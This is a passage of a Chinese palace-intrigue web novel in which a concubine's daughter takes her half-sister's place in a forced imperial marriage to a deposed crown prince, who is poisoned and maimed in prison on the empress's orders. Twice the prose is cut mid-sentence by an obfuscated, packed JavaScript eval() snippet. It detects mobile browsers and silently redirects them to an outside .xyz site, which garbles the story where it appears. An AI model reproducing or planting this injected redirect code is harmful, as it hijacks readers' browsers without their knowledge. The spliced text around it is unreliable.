“混账!此事可由不得你,圣上金口玉言,不日赐婚圣旨便要送到。你是嫁也得嫁,不嫁也得嫁!”江奉山一拍桌子,“除非,你想让全府都死无葬身之地。” “我不嫁!如今他已经废了,还在天牢里,我嫁过去岂不是活活等死?父亲,你就这么希望看见我死是吗!”江望月愤怒哀嚎。 “老爷,没有别的法子了吗?”陆平瑶从椅中酿跄着站起,扑向江奉山,紧紧抓住他双臂,泪眼婆娑道:“我就这么一个女儿,那可是废了的太子,女儿跟了他有什么前途?何况他至今生死未卜,就算活着出来也是要去北陵的啊……” 江望月听母亲这么说,内心更加惊恐,也不敢再耍小性子了,央求着父亲想想办法。 到底是自己的女儿,虽常与自己作对,也是捧在手心里长大的。更不用说临阳陆氏这么大一个世家,日后还需他们的助力,可不能得罪,若日后江望月再找个世家结亲,可不比嫁给废太子要好。 于是准备放手不管的江奉山又耐下性子宽慰她们母女二人。 天边云墨翻卷,遮住了太阳踪迹,大雨随之倾泻而下。三人依旧坐在主厅,面对不知何时到来的圣旨一筹莫展。 “真的不能别人去替我吗?”江望月率先出声,这已经是她第五次问同样的问题。 可如何能替?京城大半权贵子女都认识她,早在之前她就在那些人面前以太子妃自称,更遑论圣上,若有心让她嫁废太子,必定早就探查清楚。 “圣上难道是指明了非得让望月去嫁吗?”陆平瑶已经忧心到胡乱说话了,大有责怪圣上的意思。 江奉山眉头紧锁,不知在想什么对策,口中敷衍应道:“你说呢?圣上亲口和我说的‘令爱’……” “那就是说没有指名道姓,江眠星不也是你女儿吗?” “不行!”江奉山斩钉截铁,可话一出口就后悔了。顶着陆平瑶和江望月不可置信的眼神,牵强解释:“你也说了她也是我女儿,同样是女儿,望月闯出来的祸,难道要让眠星去背?” 陆平瑶简直心碎,越发觉得当初嫁错了人,心中也越发恨起那杨氏:“到底谁才是你的结发妻子,谁才是你的嫡亲女儿?” 江望月听父亲这样说,知道江眠星是靠不住了。脑中思绪翻涌,除了江眠星还有谁呢? “江知雪!”母女俩异口同声。 “既然你舍不得江眠星,那江知雪呢?你不是向来不喜她们吗,刚好那丫头在外也没什么人见过,把她嫁过去岂不是正好?” 江奉山只觉眼前豁然开朗,烦躁的情绪一扫而空。怎么把那丫头给忘了,早想到她也不至于让陆氏差点和自己离心。 “待我前去打探打探。” 8. 抉择 今夜的雨下得格外大,颇有种不下尽不罢休的架势。 秦轻水房里的灯已经熄了。江知雪趁着夜色,悄悄溜出屋子去找李婶。 房门被敲响,李婶很快就开了门。瞧见是江知雪,赶紧让她进来,“诶呦我的小姐,怎么这么大的雨过来了?” 江知雪的心里反复交织着白日里江眠星和中秋夜阿娘的话,越发想要弄明白当年是怎么回事。她不敢直接问阿娘,只好趁阿娘睡下来问李婶。 “李婶,我想问你一些事。” 李婶帮她放好油伞,一边拿干布巾掸掉她身上的雨水,一边关心道:“什么事不能白天问,偏要赶着大雨天过来呢?外头这么冷,冻着了可怎么办?” 江知雪接过对方手里的布巾,笑着摇摇头让她不用担心,并示意她坐下,自己掸起来。 “是关于阿娘来安国公府之前的事。” 李婶正从桌上拿出杯盏,欲为江知雪倒一杯热茶暖暖身子。听见她的话,手上动作明显一顿,随即像是没听见一般,继续倒茶,没接她的话。 “可是有什么不方便透露的?”江知雪等了一会儿,等掸完身上的雨水,李婶还不准备说出,便走到她旁边,看着她面露担忧道。 李婶顺势将热茶递给江知雪,见她一副刨根问底的样子,无奈道:“姑娘与我说过已将过去之事告知你了,你现在问我,我能说与你的也不过那些。” “那夜我只顾着哭,听得实在不仔细,我想阿娘绝不会再和我说第二遍,才来找您。”果然还是不打算告诉她,江知雪只能选择退而求其次。 李婶见江知雪不似察觉到什么的样子,便拉着她坐下,深深叹一口气,伴随着屋外的哗哗雨声,将过往重新翻开。 与阿娘无甚差别的说法。可江知雪这次听得仔细,云州府邸走水,若只是意外,更多的应该是悲痛,但她能感受到李婶在提起时隐藏的愤怒与悔恨,亦看到在说到阿娘入安国公府时悄悄握紧的双手。 “世家权贵都是如此,需要你时对你千好万好,一朝得势你就是最大的绊脚石。”末了又痛斥了几句世家权贵。 李婶对那些权贵的偏见颇深,时不时便会说出几句她的见解。 江知雪再次听到阿娘的过往,依旧心绪难平,而李婶亲身经历,只会更加痛苦。她轻轻环住李婶手臂,安抚着她:“对不起,让您又难受了一次。” 一夜狂风骤雨,卷着桂树枝头最后的花儿悄然飘落。 江知雪因阿娘之事辗转反侧,难以入眠。翌日清晨,太阳未出山,引梅园还处于睡梦中,她便出现在院中漫步。 鸟雀在枝头鸣叫,草木上点缀着昨夜的雨水,空气泛着丝丝寒意,却叫她内心宁静。 恰逢引梅园又响起一阵敲门声,鸟雀惊动,纷纷逃散。 江知雪怕惊扰了阿娘她们的安睡,忙跑去开门。 门外果然站着的是汀溪,江知雪对她笑笑。 倒是汀溪有些意外,没想到这个点会是三小姐开门。但很快她便调整好表情,脸上重新挂上笑容,将手中的东西递给江知雪:“这是昨日三小姐提到过的书,我家小姐寻了好久,特地让我给您送来。”书封赫然写着《南田旧志》。 “替我谢谢二小姐,改日一定登门道谢。”几乎只是一瞬,江知雪便察觉到了不对劲,顺着对方的话接过书客气道。 她昨日可没提到过什么书。 敲门声到底惊醒了李婶。回房间的路上,李婶已经穿戴整齐,正往门口走,瞧见江知雪,关切问道:“小姐怎么起得这么早?” “睡不着,便想着出来走走,雨后的空气真是好。”江知雪笑着回,看着李婶往门口去,又赶忙道:“您不用过去了李婶,是二小姐身边的丫头汀溪,昨日提到的一本书今日给我送来了。” 李婶看到她手里的书,点点头:“那我先去做饭。” 回到房间关上门,江知雪将书摊开在桌面,一页一页翻着,从中拿出一封信。 “我已查清,当年你阿娘入府是为收集证据,眼下只差一个出府的时机。另:父亲或今日寻你,为赐婚一事。” 没有问候没有多余的话,简短几句却让江知雪心颤不已,又有种果然如此的释然。 而比起前一句,更让她惊诧的莫过于赐婚,几乎是看到那两个字的一瞬间,她就想到了废太子,其中缘由也能猜出一二:皇上欲下旨赐婚的是江望月,但以她的性子决计不愿,安国公无法遂想来找她顶替。 江知雪双手颤抖,脸上是对即将到来的未知的恐惧。她近乎本能地想,若是安国公来问她,她会直接拒绝,阿娘对她的心愿不过是平安顺遂,顶替的风险过于巨大,阿娘承受不起。 可是她能拒绝吗? 太阳已渐渐升起,屋外是李婶喊众人用早饭的声音。江知雪后知后觉地将信件用烛火点燃,待其燃尽撒入花盆,随后浑浑噩噩出了屋。 脑海中不断上演着安国公前来,自己如何拒绝的画面。她太过担心,以至于脸色不怎么好。 饭桌上,秦轻水担忧问她怎么了,是不是哪里不舒服。李婶担心是不是昨夜和今晨吹了冷风受了寒,云双也在一旁面露关切。 可这一切在江知雪看来就如走马灯,只余画面不留声音。 直到秦轻水放下筷子,款步走来,用带着温度的手轻轻贴上她额头时,她才如梦初醒,颤抖着唤了一声:“阿娘。” “怎么了?我瞧你脸色不好,和你说话也心不在焉的,昨天见你就觉着不太对劲,是不是哪里不舒服,还是二小姐和你说了什么事?” 江知雪看着阿娘一如既往的温柔,感受着她的体温,心里突然安定下来,脑中的预演画面也全部消失,似乎有什么想法破土而出。 在那一瞬间,她做出了决定。 “阿娘,我没事,昨天想那本书想得紧,今天二小姐送过来,我饭前匆忙看了看,到现在还念着呢。”江知雪握住阿娘的手,乖巧地说。 见她似乎没有大碍,秦轻水怜爱地揉了揉她的头,重新落座,可心里依旧七上八下着。 饭还未吃完,门外又是一阵猛烈的敲门。 李婶站起身朝门口走去,听着一声响过一声的撞击,面露不耐,嘴里也嘟哝着:“往日里掉根针都能听见响,怎么近日净是人过来。” 秦轻水也站起身跟在她身后,小声提醒着:“我听着这声音不大对劲,咱们小心些。” 而江知雪在听到敲门声的时候,就已经面色惨白,右手握紧了筷子。 “小姐,你真的没事吗?是不是和二小姐有关。”自从小姐昨日见了二小姐,就一直这样,云双直觉和她有关。 江知雪却避而不答,只让云双和她一起过去。 “是谁在敲门?”李婶大声问着外面,并不急着开门。 “国公爷请三小姐过去一叙。”是男子的声音。 除江知雪外,所有人皆是一惊。自从她们搬来引梅园,安国公便再未踏足过这里。 秦轻水按着李婶手臂,摇了摇头。 李婶会意,又重新放话:“我如何确定你是国公爷派的人?” “此处是安国公府,怎会让外人无端闯入,三小姐若是再不出面,小的们不好交差啊。” 李婶用眼神询问秦轻水,见她点头,赶紧开了门。 领头的是安国公的贴身小厮,身后还跟着两个侍从。 秦轻水本能地将江知雪护在身后,脸上也少见的出现了慌乱。云双也双手用力环着她的胳膊。 “你们找三小姐做什么?”秦轻水绷着脸警惕地望着对方。 那贴身小厮规规矩矩地行了个礼道:“安国公说了,只是请三小姐叙叙旧,秦姨娘不必担心。” 然后示意身后侍从。 侍从上前踏进园里,做了个“请”的手势。 江知雪拉了拉阿娘胳膊,轻声说:“没事的阿娘,只是过去一趟,相信我好吗?” 在江知雪的好说歹说和那小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那便等圣旨下来,看宣旨公公将圣旨交给谁再做定夺吧。” “你!”江奉山怒拍桌子站起身,却一时语塞。本以为是个好糊弄的,没想到和那个秦轻水一个性子。 “大姐姐平素最爱张扬,上次中秋我在街上还见着她打着太子妃名号和一众千金小姐聚会宴饮。”江知雪停顿了一下,而后惨笑着:“您从没有关心过我们,我原以为今日父亲唤我过来,是想关心我一番,眼下看来关切是假,想让我替婚才是真。” 打感情牌,可不是只有安国公才会。 “啪!”清脆的巴掌声响彻在书房,震得香雾都抖了抖,空气霎时安静下来。 江奉山打完便有些后悔,他还指望着江知雪替嫁呢。可面子不能丢,依旧嘴硬道:“简直是不可理喻,和你姨娘一个样!此事已成定局,不论你愿不愿意都是嫁。” 江知雪捂着脸,声音冷静:“我自有不嫁的道理。赐婚圣旨自古便是交给嫁娶本人,若我不接,您又当如何?我猜父亲在想着拿什么要挟我,我也没什么好怕的,大不了一死,可若我们死了,安国公府还能是如今的安国公府吗?” “你想如何?”江奉山也冷静了下来,他知晓秦轻水的倔性,以死威胁怕不是个好法子。但江知雪将利弊一一道出,也不像拒绝的样子。 “我可以嫁。”江知雪放下手,脸上已经出现红肿,“但我有两个条件。” 本以为还需费一番口舌,没想到对方答应得这么干脆。总觉得两个条件会是他无法给得起的:“什么条件?” “给我姨娘一份放妾书,另一百两银子。” 一百两于江奉山而言实在微不足道,但放妾书让他警惕起来。十几年前他没想过秦轻水居然会不远千里直接找上京城,将她留在府里也不过为了控制她,如今……莫非她发现了什么? “此事是我一人决定,姨娘她们并不知道,我只是不愿姨娘如笼中雀再受煎熬。”江知雪像是怕安国公不答应,急忙补充。 江奉山思虑良久,见她不似说谎,才定定地看着她,目光幽深,笑着道:“我答应你的条件。” 9. 赐婚 与安国公“叙完旧”后,已近晌午。回去引梅园的路上,江知雪看着刺眼的阳光,重重呼出口气。 这两日里,她一直在为阿娘之事忧愁,眼下明明有了解决的法子,思绪却依旧未有轻松。她害怕阿娘得知此事,不敢去想阿娘会是何种心情。 平日里一刻钟的脚程足足让她走了一炷香的时间。她轻手轻脚进了园,准备先回房中,再细想对策。可一推开房门,阿娘已经在桌边坐着,双眼微红地看着她。 脑中紧绷着的一根弦就这样断了,那一瞬间,江知雪只剩下一个念头:完了。 “他和你说了什么?”秦轻水维持着她的温柔,放在桌上的手却不经意握紧。 江知雪脑中混沌,下意识说了谎:“没有,只是简单叙叙旧,说了些家常。” “什么家常需要说一个上午,他关心过你?”秦轻水毫不留情戳破她的谎话。 “阿娘……” “我已经找过江眠星了。”秦轻水打断江知雪的话,声音藏着颤抖:“你要做什么,你想做什么?你就那么相信她的话?” 江知雪担心的事还是发生了,她听见自己急促的心跳缓和下来,随后是自己质问的声音:“如果你早些告诉我,或许我们能一起想别的办法。可是你什么都不告诉我,阿娘,你让我怎么办?” 话一出口,她便后悔了,眼中尽是惊恐。她都说了什么,为什么要让阿娘伤心? 秦轻水闭上眼,泪水顺着脸颊滑落。 “你要做什么,你想做什么?”秦轻水重复着这句话,李婶在一旁安抚着她,就连一向支持江知雪的云双这次也不赞同,“小姐,你……” 江知雪看着她们三人,心中悲痛起来,难道真的是她做错了吗? 秦轻水抬手,没让云双继续说下去。等她再睁眼时,已经透着果决。 “你说让我告诉你,我告诉你什么?告诉你你父亲是杀害你祖父的凶手吗?还是告诉你我得知自己怀了仇人的孩子时恨不得立刻去死?” 江知雪朝后退一步,眼中已隐隐泛有泪光。她不可置信,阿娘曾经竟是这样想。 “可你终究是我的女儿,我看着你那么小,在那里笑,在那里哭,我只想去爱你,又如何忍心去恨你,如何愿意将我的痛苦我的仇恨放在你的身上,让你去承担?” 说到这里时,秦轻水已经泣不成声,但她并没有停下。 “我前不久才同你说过,你却转头就忘。平素但凡有什么事你都同我商量,这次呢?你怎么不问问我的意见?你怎么不问问我需要你这么做吗?需要用你的一辈子来帮我吗?” 那是江知雪第一次见阿娘发这么大的脾气。 她再也忍不住,哭着跑过去抱住阿娘,嘴里不住说着知道错了,即使她并不认。母女二人就这样互相抱着哭泣。 当日下午,陆平瑶便去信临阳家中,央求父亲母亲想想办法,寻求宫中已是贵妃的姐姐打探打探圣上的意思,究竟是指定了望月还是只要江家女儿。 晚间的时候,因连日的忧心,江知雪终是支撑不住倒下了。秦轻水坐在床边边照顾边哭泣,用凉布巾敷着她红肿的脸颊,心疼得无以复加。 “姑娘可是后悔了?既然如此之前又何必伤她的心。”李婶在旁边轻声道。 “我为什么要后悔?若我能伤了她的心,她就不该应了江奉山的提议,那是她的一辈子啊。坊间传闻废太子是如何你也知道,他如今身在天牢,来年还要前往北陵。你说她如何受得住?她是把自己往火坑里推啊。”秦轻水声音哽咽,她轻轻抚摸着江知雪的头,“我只愿她一生顺遂,别走了我的道路,为何……为何……” 虽嘴上说着硬气的话,第二日一早,秦轻水却去了江奉山的书房。 她跪在地上,恳求安国公收回成命。可太阳从东边移向西边,安国公始终不肯露面,倒是杨氏特地过来,阴阳怪气地好一番讥讽。 连续三日,江知雪都不见阿娘踪影,云双毫不知情,李婶对此事缄口不言。她隐隐约约间觉得阿娘会去找安国公,终于再也坐不住,迅速穿好衣裙跑了出去,只留李婶在后面呼喊的声音。 江知雪小心避开下人,走过曲折的廊亭,来到安国公书房,就瞧见阿娘在外面跪着。 她从未想过,一向稳重温柔的阿娘会做到这个地步。 再也顾不得什么礼法纲常,江知雪直接冲进去,却被门口的两个小厮拦住了。 “阿娘,阿娘!你快起来啊!”她不禁大喊。 秦轻水却恍若未觉,依旧直挺挺跪着。 江奉山这时才着急忙慌从书房出来,脸上带着焦急,关切地说:“这是做什么?这么大的太阳在这里跪着,快快进屋。”说着便欲扶她起来。 秦轻水一把挥开他的手。 “你们都是死的吗?怎么没个人告诉我一声,还不过来扶秦姨娘起来!”江奉山指着一圈的丫鬟小厮,转头又愤怒地看向门口:“还不赶紧让三小姐进来!” 在江奉山和江知雪的一番拉扯好说歹说后,秦轻水终于进了书房。 江奉山坐在主位后,第一句话就是:“你还是如之前一般固执。” “国公爷谬赞,我此次前来是想……” “欸,此事就不用说了,圣上已经知悉,再多说也无济于事。”江奉山直截了当地打断。 江知雪闻言松了口气,如今靠圣上赐婚是最好的法子,此事若不成,只怕日后安国公有所怀疑,再想出去难如登天。 秦轻水早在第一日便知道是这个结果,往后两日也不过作戏。见他将圣上都搬出来了,不再多留,装作哭哭啼啼的样子,在江知雪的好言劝说下,离开了书房。 二人相携回去,一进园子,秦轻水便甩开江知雪的手,兀自回了自己屋子。 江知雪看着阿娘的背影,心中像是被针扎了般泛着密密麻麻的痛,却不敢再去打扰。阿娘估计对她失望透了。 …… 晨光熹微,空气中似凝着霜,呼吸间都是冷的,风刮在人身上如同刀子。江知雪独坐在前院桂树下,抬头望着依旧碧绿的树叶,思绪飘散。 自那日和安国公“叙旧”后,已过去月余,赐婚一事却至今没有下文,一切都不可预料。 江奉山和陆平瑶在收到临阳来信后,内心安定了下来,江望月又变回骄纵的样子。 可说好几日后的圣旨迟迟未下,江奉山他们心中着实没底,怕圣上突然改变主意。于是匆匆忙忙为江望月订了亲,是临阳王家,家中嫡子目前正在繁州做官,前途不可限量。 江望月日思夜想的太子妃位置是彻底无望。 京城中关于废太子的谈论也渐渐少了下来。 阿娘还是不愿与她说话,李婶每次跟她念叨,说姑娘她只是钻了牛角尖,其实心里比谁都心疼她呢,那日她倒下也是姑娘照顾了一整夜。 江知雪想说:她知道的,阿娘爱她胜过自己,她也想让阿娘得偿所愿。可最终只是笑笑点点头。 这些时日里,江知雪出过几次府。牢狱之苦她无法想象,却也听说过出狱后那些人的惨状。想着废太子如今的处境,狠下心拿出攒了几年的银钱,出去购置些日后用得到的东西,顺带买了些药材。 一片尚且青翠的叶子打着旋落下来,躺在江知雪的衣服上。看着一尘不染的叶片,她突然想起了谢怀清。 某次经过书铺,她见到了他,一个人失魂落魄地拿着一本书,不知在想些什么。江知雪呆呆地在旁边望着,几次想出声唤他。没一会儿,就见柳微竹带着丫鬟笑意盈盈地过去,谢怀清一改那副神态,恭敬又谦卑地笑着与对方说话。江知雪便不再看,转身离去。 “小姐,可是让我好找,这么冷的天,坐在这里干什么,姑娘喊你过去吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178468|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完饭呢。”李婶笑呵呵地声音从背后传来,下一秒,身上多了一件水色香兰毛边斗篷。这是阿娘最爱的斗篷。 江知雪思绪回笼,抬眼朝后望去,就见阿娘拢袖站在不远处,笑看着她,一如从前。 她飞快地跑过去,扑向阿娘怀中,眼中是幸福的泪水:“阿娘,你不生我的气了?” “我从未气你,我只不过放过了我自己。或许我期望的顺遂平安于你而言也是强加给你的负担。” 太阳一点一点偏移,瞧着亮堂,照在人身上还是抵不过冬天的冷意。 门外响起急切的敲门声,有人大喊:“二小姐,二小姐,宣旨的公公来了,国公爷喊你快过去呢。” 江知雪来不及换衣服,匆匆忙忙披上阿娘的斗篷就往主厅跑去。 一路上,她的心跳越来越快,对未知的恐惧,以及对皇庭的害怕。 远远地,她就瞧见国公爷正笑着同一个面色白净身着官服的人攀谈。那人见她走近,也笑了起来,声音尖锐:“想必这位就是三小姐吧。” “还不快过来给公公行礼。”江奉山转身对她说道,不着痕迹地挤了下眼睛。陆平瑶亦显得慈爱非常,主动过来拉着她的手。 江知雪正欲过去,那公公却出声阻止了:“免了免了,宫中事务繁忙,既然人都到齐了,那国公爷?咱们就直接宣读吧?” “也好也好,一切听公公的意思。” 公公从锦盒中取出圣旨,一行人齐刷刷地跪下,恭听圣意。 “奉天承运皇帝,诏曰:今闻安国公之女柔嘉淑顺,德才兼备。兹指婚于废太子沈思安,责良辰吉日完婚。” 一行人又浩浩荡荡拜谢圣上隆恩。公公手捧圣旨,看着面前跪着的人,问道:“是哪位小姐接旨啊?” 江知雪不动声色站起,低眉顺眼走到公公跟前跪下,双手举过头顶,声音听不出情绪:“臣女接旨,谢圣上恩典,吾皇万岁万万岁。” 对方将圣旨放到她手上,又主动将其扶起,温和笑着:“倒是个可人儿,日后废太子就交给你了。” “定不负圣上所托。” 公公拍了拍她的肩,点点头,也不管跪着的安国公等人,招招手一群人就离开了安国公府。 待见不到他们的踪影,江奉山才站起来,看着江知雪,眼里都是满意:“明日便将你要的东西送过去。” “眼下也算是了却了一桩心事,快回去歇着吧。”陆平瑶难得慈眉善目叮嘱着。 等到江奉山夫妻相继离去,江望月看着她手里的圣旨,眼睛恨不得盯出个洞来,少见地和她说了话,虽然不是好话:“若不是他被废了,哪里轮得到你。不过也是,你也只配得上还在天牢里的废太子了。听说他暴戾恣睢,可得保护好自己的小命。你说是不是啊,废太子妃?” “多谢大姐姐关心,我一定会照顾好自己。”江知雪可不接她的话茬。 江望月一拳打在棉花上,脸色像吃了苍蝇似的难看:“滚吧你!”随后一拂衣袖,气哄哄地离开了。 “妹妹,祝贺你得偿所愿。”江眠星站在阴影处,待所有人都走了后,衷心恭贺着。 好久没见,她似乎比上个月看来更显沉稳。江知雪内心想着,嘴上不留情:“也得恭喜你,你的计划达成了。” “妹妹这是说的什么话。” “虽然不知道你打得什么算盘,但是放心吧,你的人情我不会忘。”江知雪向她保证,又略一沉吟道:“明日我阿娘的放妾书就送来了,我总觉得一切发生得太过顺利,可我势单力孤,可否请你帮忙打探一番?” “这是自然,难得你主动有求于我,我一定尽心尽力。” 二人并排往回走着,江知雪望着天上随波逐流的云,感受着手中沉甸甸的圣旨,只觉得皇帝一句话,就定了她今后的人生。 往后闲暇何时?安乐可有? 10. 沈思安 昏暗的天牢里,倏忽吹来一阵新鲜的冷风,搅动着阴冷潮湿的空气。刺耳的鞭子破空声和惨叫声交织,调配出独属于牢狱的乐曲。 厚重石门缓慢关闭,四方织金毯子铺于地面,皇后踏步其上,向着天牢深处走去。 她一袭明黄衣袍,披霞帔,戴凤冠,雍容华贵,步态端庄。看不出岁月流逝的脸上神情肃穆,自带威严,令人作呕的血腥气和腐朽味不能让她皱眉半分。 两名带刀侍卫在前方带路,两名守卫在后方随护,最末尾跟着一个形容低调闭着眼的男子。她每走一步,宫女们熟练捡起后面的毯子,向前铺去。 一行人来到天牢的最深处。铁制的栅栏里,沈思安一身囚衣,面朝石墙卧在烂草堆中。他的手脚戴着粗重的镣铐,囚服脏乱不堪,早已被血染成深褐色,头发如同杂草,乱糟糟地堆在头上。 皇后在门前停下,守着的狱卒抖着手为她开了门,而后心惊胆战退到阴影处。 沈思安听到声响,僵硬地转动身子,看到皇后的一瞬间,麻木的眼里闪过一丝希冀。 他艰难起身,对着皇后跪拜行礼,铁链因动作哗哗作响。中途又因疼痛和体力不支踉跄了一下,鲜血浸透出来,顺着深褐色的囚衣滴落。 “儿臣参见母后。”嗓音沙哑,如同生了锈的锯齿。 皇后上前几步,守卫顺势关上铁门。 缀着珍珠玉石的金丝绣鞋在他面前停下,她柳眉轻蹙,居高临下地看着面前跪趴着的人,朱唇轻启,声音透着淡漠:“你既被废黜,与本宫之间便再无关系,何来的‘儿臣’与‘母后’?” 沈思安形容枯槁,露在外面的一双手瘦得仿佛只剩骨头,染着脏污和血迹,随着皇后的一番话语忍不住抽动。他闭了闭眼,乖顺应道:“是,皇后娘娘。” “还是如之前一般,逆来顺受。” 皇后抬手,身旁侍立着的宫女立刻呈上一方锦帕。她缓慢蹲下身子,隔着帕子抬起沈思安的头,看着他凹陷的眼窝,苍白又干裂的嘴唇,流露出怜爱的样子:“这才过去多久,怎么成了这副样子?” 感受着锦帕下传来的温暖,沈思安神色有些动容。 可是转瞬,皇后就换了副面孔。她愉悦笑着,眼神嘲弄,说出的话似冰冷的刀子:“瞧瞧现在这模样,哪里还有昔日那金尊玉贵的样子,可惜了这张脸……” 她轻轻抚摸着他的脸,状似不经意拨开遮住右半张脸的乱发,露出他眼角至额头红紫色的痕迹,嫌恶道:“真够恶心的。”又迅速拿开了手,直起身子,宫女适时递上新的锦帕。 沈思安没有反应,任由她摆弄着。 皇后擦完手,看着他那副无动于衷的样子,只觉无趣。狠狠“啧”了一声,眼神示意身后跟着的男子。 那男子在踏入铁门时便睁开了眼,竟是长了一双碧绿的眸子。 他会意,几步上前,站在沈思安旁边,等待皇后的下一步指示。 “念在你与本宫母子一场的份上,本宫饶你性命。可你知道得太多了,就这样放了你无异于放虎归山。所以……动手吧。” 长期的折磨和关押早已让沈思安崩溃,从前锦衣玉食、高高在上的太子何曾受过这种酷刑,更何况如今想要如此对他的是他从小就尊敬孺慕的母后。 他慌起来,往后退去。 “押住他。”皇后命令身边站着的两个侍卫,声音慵懒又决绝。 “是!”二人快步上前,一左一右押着他。 沈思安开始挣扎,嘴里不住求饶:“不要,不要!母后……不,皇后娘娘,放过我!求您,求您!” 但他太过虚弱,挣扎的力度不过挠痒。囚衣上才凝固的血液又开始渗出。 碧眸男子一手钳住他的下巴,迫使他的嘴张开,另一只手不紧不慢从宫女捧着的托盘中端出一只碗,毫不留情地往他嘴中灌去。 沈思安克制自己不去咽下,但苦涩的黑色液体猛然灌入,涌进他的喉咙和鼻子,他几乎窒息,咳嗽得不能自已,几乎本能地吞下。 似乎只是一瞬,又仿佛过了许久,押着他的侍卫松开他,他再没有力气,跪倒在地。 脸颊紧贴潮湿冰冷的地面,血混着灰土糊了满脸。四肢无法动弹,他紧闭双眼,恨不能就这样死去。可地上的寒凉透过皮肤钻进骨头,逼迫他保持清醒。 “西域最毒的赤桑花,配上最毒的药师,能瞬间致人麻木,不出一刻,你就再也发不出声音了。”皇后一副看好戏的样子。 沈思安睁开眼,艰难地朝上望着她,声音轻不可闻:“为什么?血缘至亲……”话未说完,似乎累极,重重喘息着。 “不再说点吗?时间可不多了。” 沈思安眼里盛着绝望与自嘲,不再言语。 “那就继续吧。”皇后声音淡淡的,面露不耐。她最厌恶别人忤逆她。 碧眼男子得令,从随身携带的包裹里取出一把弯刀。刀身通体漆黑,刀刃薄如蝉翼。 他握住沈思安的手,将其腕处朝上。 那双手腕早就被镣铐磨破,深可见骨。 碧眼男子用右手手指对着他的手腕一番捏揉,随即左手弯刀利落划过。动作之快,让人来不及反应。 手筋被挑断了。 血线沿着伤处游走,痛苦顷刻蔓延四肢百骸。 沈思安躺在地上,身体因疼痛不住颤抖,却无法移动半分。他看着自己的手,想要出声,发现已经说不出话了。 灭顶的绝望从四面八方袭来,似要把他击碎。 那碧眸男子若无其事地用布巾擦拭掉弯刀上沾染的血痕,又将弯刀放在手中把玩转了几圈,重新放进包裹。随后他回到最末尾站定,敛去身上气息,闭上双眸。 从始至终未开口说一句话。 眼见事情办妥,宫女们手脚麻利收拾起地上的痕迹,皇后则发自内心地笑了起来。 她好整以暇地看着地上不停抽搐成了废物的沈思安,声音里是掩饰不住的愉悦:“看在血缘至亲的关系上,本宫再告诉你最后一件事。” 她加重了“血缘至亲”四个字的声音。 “本宫怜你,在此之前已为你寻了一门好亲事,只等你出狱便过门。只可惜安国公实在老奸巨猾,本宫与圣上分明求的是他家嫡女,谁成想到头来竟成了庶出三小姐。你 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天家无情,一道圣旨,就可让他万劫不复,一句话,就让他形同废人。无论是谁嫁给他,都无异于跳进火坑,一眼望到头。 谣言猛如虎,在宫中多年,他见证太多性命被谣言夺去。听着侍卫的讲述,他不敢去想那个三小姐处在何种境地。谣言毁了她,他也毁了她。 “你别毁了它!”引梅园中,江知雪捧着一摞书站在廊下惊呼。 原来是前头的云双手中拿着快比她头还高的书籍,正歪歪扭扭地走着。 江知雪护着书快步走过去,从她手中分担出几本。“这些可都是值钱的宝贝。你也小心些,一次性拿这么多做什么,这个天摔倒了可不轻。” “小姐,正是因为冬天,阳光难得,须得让书快快接触一下才好。”云双总有一堆歪道理,随即又吐了吐舌头:“可惜还是高估了自己。” “哪里需要这般急切,你就嘴贫吧。”江知雪好笑地摇了摇头。 连日的阴云压得人透不过气,正如云双所说,今天是个难得的好天气。阳光透过云层,照在人身上暖洋洋的。 二人一起走到庭院,将书摆放在早早搭好的晒书架上,轻轻摊开书页,让它更大面积接触阳光。 江知雪向来将书保护得很好,并不需要刻意去晒书。此次如此大费周章,只因她做了个决定:她打算卖掉它们。 自打圣旨颁下,这个想法就在江知雪心里蠢蠢欲动。 那一天,她独自在书柜旁待了很久,久到太阳落下山,月亮升起来,秦轻水她们轮番来劝都没有用。 那些书大部分是与谢怀清相识的五年来他所赠,平日里江知雪都是当宝贝般供着,灰碰不得,水沾不得。 但这次离开引梅园,便再没有回来的道理,她带不走它们,也不愿见它们就这么被糟蹋。 翌日早,安国公派小厮送来了一百两银票和放妾书。只两张薄薄的纸,还了秦轻水自由。她拿着放妾书,泪流满面。 而江知雪打开柜门,目光将书籍一一看过,也终于下定了决心。 11. 道别 有关江知雪与废太子的婚事在京城传得沸沸扬扬,茶楼和戏台每天上演着各种不同的说辞。 “安国公府还有三小姐?” “怎么突然就赐婚了?” “这不是送命吗?” …… 一开始,人们只是疑惑凭空出现的三小姐和那无异于前途尽毁的赐婚,感叹着三小姐的命不好。 不知从何时起,高台上演绎得不再是婚事本身,而是大谈特谈三小姐的身世、品性和容貌,将其夸得天花乱坠,任谁听了都得叹惋几句“可惜了”。 但叹惜完,有些人心里也咂摸出别的味儿来:都说这三小姐千好万好,既如此又为何从不露面,指不定她貌丑无盐,那些个说辞不过安国公府装点门面的幌子。 一时间,两种不同的看法甚嚣尘上,双方各执一词分庭抗礼,甚至有人传出安国公府三小姐脾气古怪性格骄纵,现下正在家中要死要活呢。 与此同时,久不被讨论的废太子沈思安又被拿到台面,为人所津津乐道。京中更有甚者开始押注,赌他们二人日后到底是谁被谁折磨。 云双自打那天和小姐一起出了趟门,听得了那黄金贵的三言两语,气得说什么也不让她出去了。恰逢阴雪天,江知雪索性待在屋子里忙活日后出嫁的事宜。 但阴天总会过去,阳光穿透云层照进引梅园的那一刻,江知雪知道她可以开始卖书了。 看着一摞摞书被装进木箱,她的心还是忍不住抽痛,最终留下了五年前那本《南田旧志》。 “云双,将这封信交给谢公子吧。”江知雪眼中闪过忧愁,从袖中抽出一早写好的信件,递给云双。 云双伸手接过,却十分不解:“小姐,不是说要与谢公子断干净吗?” 